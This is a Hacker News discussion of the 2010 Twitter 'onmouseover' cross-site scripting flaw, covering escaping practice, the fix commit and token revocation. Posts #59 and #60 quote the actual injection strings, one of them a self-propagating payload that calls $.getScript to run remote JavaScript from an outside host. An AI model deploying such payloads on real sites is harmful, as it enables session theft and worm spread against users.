Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Twitter 'onmouseover' security flaw widely exploited

sophos.com

Post reply on HN
Print view View original

51–60 of 77 posts

Re: Twitter 'onmouseover' security flaw widely exploited

#51

Post by jasondavies »

theycallmemorty wrote: post #33
bl4k wrote: post #9

I just wrote a proof-of-concept worm that steals session cookies. It spreads by retweeting. If something like this was released it would spread like wildfire. Reminds me of the MySpace worm that took the site down Time to change your passwords! (Edit: I will post the vuln code once this is patched. Atm I am playing with having the payload make Ajax queries back to Twitter :). Having shortcut functions in the page (ie…

Is this a twitter-only problem with the way the URLs are formed? Or is this a common way of injecting JS into links on other sites as well?

It's caused by Twitter's insufficient escaping of URLs, specifically a rogue quotation mark character can be injected after the @ symbol and thus you end up with something like ...

So this attack won't work on other sites that escape URLs properly.

Re: Twitter 'onmouseover' security flaw widely exploited

#52

Post by eli »

swombat wrote: post #41

As far as XSS vulnerabilities goes, this one is the size of the Gulf of Mexico. How exactly did they manage to let this one through? (Even more puzzling, it looks like this is special link-parsing functionality that someone had to actually write explicitly to make it work)

As linked to elsewhere, here's exactly how it looks: http://github.com/mzsanford/twitter-text-rb/commit/cffce8e60...

Re: Twitter 'onmouseover' security flaw widely exploited

#53

Post by flyosity »

eli wrote: post #8

Right now you might be safer using a third-party Twitter client rather than the Twitter.com website. Hmm, I wonder how many web-based twitter clients and widgets have similar vulnerabilities. I bet quite a few.

There's also a huge host of Webkit-based Mac Twitter apps that might be affected by this. Hibari is one.

Re: Twitter 'onmouseover' security flaw widely exploited

#54

Post by jasonkester »

pornel wrote: post #35

This is why HTML templating engines should HTML-escape all variables by default. Probably developer writing Twitter's template forgot to add escape call or thought that URL is a harmless ASCII thing and doesn't need escaping.

No, it's just why developers should HTML-escape all user-contributed content before displaying it.

Building it into the templating engine just punishes all the devs who know what they're doing. Look at the history of things like MAGIC_QUOTES_RUNTIME to see what happens if you go down that route.

Re: Twitter 'onmouseover' security flaw widely exploited

#55

Post by kwamenum86 »

jasondavies wrote: post #48
bl4k wrote: post #9

I just wrote a proof-of-concept worm that steals session cookies. It spreads by retweeting. If something like this was released it would spread like wildfire. Reminds me of the MySpace worm that took the site down Time to change your passwords! (Edit: I will post the vuln code once this is patched. Atm I am playing with having the payload make Ajax queries back to Twitter :). Having shortcut functions in the page (ie…

Is it really necessary to change one's password? I've logged out and logged in again to make sure I invalidated my old session cookie. Hopefully that's sufficient.

Depends on whether Twitter stores plain text passwords and allows sign in users to see them. Also, it is more importanttto revoke oauth tokens than change passwords because last time I checked the oauth tokens are still valid even if You change your password.

Re: Twitter 'onmouseover' security flaw widely exploited

#56

Post by Tichy »

bl4k wrote: post #9

I just wrote a proof-of-concept worm that steals session cookies. It spreads by retweeting. If something like this was released it would spread like wildfire. Reminds me of the MySpace worm that took the site down Time to change your passwords! (Edit: I will post the vuln code once this is patched. Atm I am playing with having the payload make Ajax queries back to Twitter :). Having shortcut functions in the page (ie…

What is the significance of the "@"? Is it because once they encounter the @, they split into a different parsing routine (for example to link @replies)?

Re: Twitter 'onmouseover' security flaw widely exploited

#57

Post by pornel »

jasonkester wrote: post #54
pornel wrote: post #35

This is why HTML templating engines should HTML-escape all variables by default. Probably developer writing Twitter's template forgot to add escape call or thought that URL is a harmless ASCII thing and doesn't need escaping.

No, it's just why developers should HTML-escape all user-contributed content before displaying it. Building it into the templating engine just punishes all the devs who know what they're doing. Look at the history of things like MAGIC_QUOTES_RUNTIME to see what happens if you go down that route.

Clearly relying on developers to remember to escape didn't work (it's not first XSS and not last).

I don't think it's anything like magic quotes. It's more like prepared statements.

Magic quotes was enormous failure because it worked on input rather than output. In HTML-specific output code having HTML-escaping is just fine.

Lack of escaping enables worms and error isn't immediately visible. Double escaping is quickly visible, and it's harmless, which is why I think not trusting variables in HTML is a better default.

Re: Twitter 'onmouseover' security flaw widely exploited

#58

Post by jerf »

tomafro wrote: post #26

It looks like twitter have fixed the issue in their own tweet parsing library, but not deployed the fix (to old twitter at least). Here's the relevant commit: http://github.com/mzsanford/twitter-text-rb/commit/cffce8e60... (thanks to Paul Battley for finding it).

That's still the wrong approach (if it's the only part of the solution) and I wouldn't be surprised that there's still a problem in there somewhere. That's the entirely wrong place to deal with this. The correct solution is the moral equivalent of "", where "html_escape" converts the URL into a properly encoded HTML string regardless of contents, and for simplicitly I'm assuming some other cleansing process has run on the url elsewhere (to ensure http: or https: is the only legal beginning, etc). (This is the way you ensure you don't get XSS in your link. Other security properties that you may desire, such as controlling what the user can link to, get enforced elsewhere.)

Then it simply doesn't matter what the user has managed to get down to the link generation code, the html_escape code should at least ensure that the user is stuck in the link itself. There are some paranoia things such a function should still do, such as remove all characters that are not legal in links or removing all invalid characters (incorrect UTF-8, for instance), consult the relevant standards standard for a full description. But this is still way easier and therefore more likely to correctly avoid XSS than trying to pick up all possible badness at the parse step.

It continues to astonish me how hard people make this and how much developers resist being told that their code is problematic, and how surprised they are when their site gets taken down by the stupidest errors....

Also, if at all possible, I strongly endorse environments where you don't literally type "", because you will forget the html_escape. There are a variety of ways to reach this goal, depending on language.

Re: Twitter 'onmouseover' security flaw widely exploited

#59

Post by mfukar »

Swizec wrote: post #5

This is what it posts " http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/" class="tweet-url web" rel="nofollow" target="_blank"> http://a.no/@onmouseover=;$(textarea:first).val(this.innerHT... style="color:#000;background:#000;/ " It's not a huge security flaw, just some (this time) harmless javascript injection. What it does is it fires a mouseover event, then fills…

You are a brave soul, sir, putting "harmless" next to "javascript injection".

Re: Twitter 'onmouseover' security flaw widely exploited

#60

Post by Cushman »

avar wrote: post #7

I got one with this content: http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ With the URL expanding to: http://is.gd/fl9A7 Which is a 301 redirect to: http://lexasoft.jino-net.ru/up1415.js Which has the content: $('#status').val("http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\\u002f\\u002fis.gd\\u002ffl9A7')\"/"); $('.s…

Correction: That one does nothing more than execute whatever is at that url. So right now it's only self-propagating.
Post reply on HN